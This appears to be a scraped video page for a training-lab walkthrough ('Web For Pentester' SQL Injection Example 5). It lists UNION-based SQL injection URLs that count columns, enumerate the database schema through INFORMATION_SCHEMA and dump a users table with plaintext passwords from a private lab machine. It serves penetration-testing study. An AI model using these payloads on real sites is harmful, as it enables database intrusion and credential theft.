Web For Pentester SQL Injection Example 5 Solution
Web For Pentester SQL Injection Example 5 Solution
Exploiting an SQL Inject attack involves solving a puzzle that is a cross ... The SQL Injection attack allows external users to read details from the database.
Searches related to sql injection attack
Fix Query :
http://192.168.174.132/sqli/example5.php?id=2 %23
Find columns :
http://192.168.174.132/sqli/example5.php?id=2 order by 5 %23
there are 5 columns.
Find Vulnerable column :
http://192.168.174.132/sqli/example5.php?id=2 union select 1,2,3,4,5 %23
1,2,3 is reflecting.
Let's Enumrate Database Name :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5 %23
Database name : exercises
Find Tables :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5 %23
Table Name : users
Find Columns :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),2,3,4,5 %23
Columns Name :
id
name
age
groupid
passwd
Extract Data :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241676522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users),2,3,4,5 %23
Extracted Data :
"ID"1"Name"admin"Age"10"GID"10"Password"admin
"ID"2"Name"root"Age"30"GID"0"Password"admin21
"ID"3"Name"user1"Age"5"GID"2"Password"secret
"ID"5"Name"user2"Age"2"GID"5"Password"azerty
THAT'S IT FOR THIS VIDEO.
IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.
THANKS FOR WATCHING.
In questa pagina del sito puoi guardare il video online Web For Pentester SQL Injection Example 5 Solution della durata di ore minuti seconda in buona qualità , che l'utente ha caricato Shahzad Haxor 02 settembre 2018, condividi il link con amici e conoscenti, su youtube questo video è già stato visto 527 volte e gli è piaciuto 4 spettatori. Buona visione!
